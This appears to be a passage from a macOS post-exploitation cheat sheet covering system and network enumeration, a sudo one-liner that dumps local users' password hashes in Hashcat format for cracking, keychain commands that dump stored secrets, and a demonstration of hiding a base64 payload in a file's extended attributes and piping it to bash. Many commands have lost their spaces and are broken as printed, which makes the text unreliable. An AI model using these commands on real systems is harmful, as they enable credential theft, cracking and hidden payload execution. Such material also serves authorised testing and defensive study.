Gathering System Information Using IOPlatformExpertDevice
The ioreg command allows interaction with the I/O Kit registry, and the -c flag specifies the class of devices to list. The IOPlatformExpertDevice class provides information about the platform expert, which includes various system attributes. The -d flag specifies the depth of the search within the device tree.
ioreg-cIOPlatformExpertDevice-d2
Exploring Application Bundles
Applications on macOS are stored in the /Applications directory. Each application is bundled as a .app file, which is actually a directory with a specific layout. Key components of an application bundle include:
Info.plist: This file contains application-specific configuration, entitlements, tasks, and metadata.
MacOS: This directory contains the Mach-O executable.
Resources: This directory includes icons, fonts, and images used by the application.
# List Applicationsls/Applicationscd/Applications/Lens.appls-R
A basic script for gathering system information using osascript:
-- System Information
set systemInfo to do shell script "system_profiler SPSoftwareDataType"
set hardwareInfo to do shell script "system_profiler SPHardwareDataType"
-- Network Information
set networkInfo to do shell script "ifconfig"
-- Disk Usage
set diskUsage to do shell script "df -h"
-- Output Results
set result to "System Information:\n" & systemInfo & "\n\n"
set result to result & "Hardware Information:\n" & hardwareInfo & "\n\n"
set result to result & "Network Information:\n" & networkInfo & "\n\n"
set result to result & "Disk Usage:\n" & diskUsage
-- Display Results
result
The following one-liner which will dump credentials of all non-service accounts in Hashcat format -m 7100 (macOS PBKDF2-SHA512):
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
Keychains
# List certificatessecuritydump-trust-settings [-s] [-d]# List keychain databasessecuritylist-keychains# List smartcardssecuritylist-smartcards# List keychains entriessecuritydump-keychain|grep-A5"keychain"|grep-v"version"# Dump all the keychain information, included secretssecuritydump-keychain-d
[!TIP] The last command will prompt the user for their password each entry, even if root. This is extremely noisy
Network Services
rmMgmt=$(netstat-na|grepLISTEN|greptcp46|grep"*.3283"|wc-l);scrShrng=$(netstat-na|grepLISTEN|egrep'tcp4|tcp6'|grep"*.5900"|wc-l);flShrng=$(netstat-na|grepLISTEN|egrep'tcp4|tcp6'|egrep"\*.88|\*.445|\*.548"|wc-l);rLgn=$(netstat-na|grepLISTEN|egrep'tcp4|tcp6'|grep"*.22"|wc-l);rAE=$(netstat-na|grepLISTEN|egrep'tcp4|tcp6'|grep"*.3031"|wc-l);bmM=$(netstat-na|grepLISTEN|egrep'tcp4|tcp6'|grep"*.4488"|wc-l);printf"\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n""$scrShrng""$flShrng""$rLgn""$rmMgmt""$rAE""$bmM";
Extended attributes (EAs) on macOS can be used maliciously by attackers to hide data, evade detection, or persist malicious code, since EAs are not visible through typical file inspection methods
# Create the malicious extended attribute. In our case, this is a simple echo command❯xattr-wuser.hiddenPayload"ZWNobyAiSSdtIG9uIHlvdXIgc3lzdGVtIgo="not_malicious.txt# Viewing the extended attributes❯xattrnot_malicious.txtcom.apple.provenanceuser.hiddenPayload# Executing the extended attributes❯xattr-puser.hiddenPayloadnot_malicious.txt|base64-d|bashI'm on your system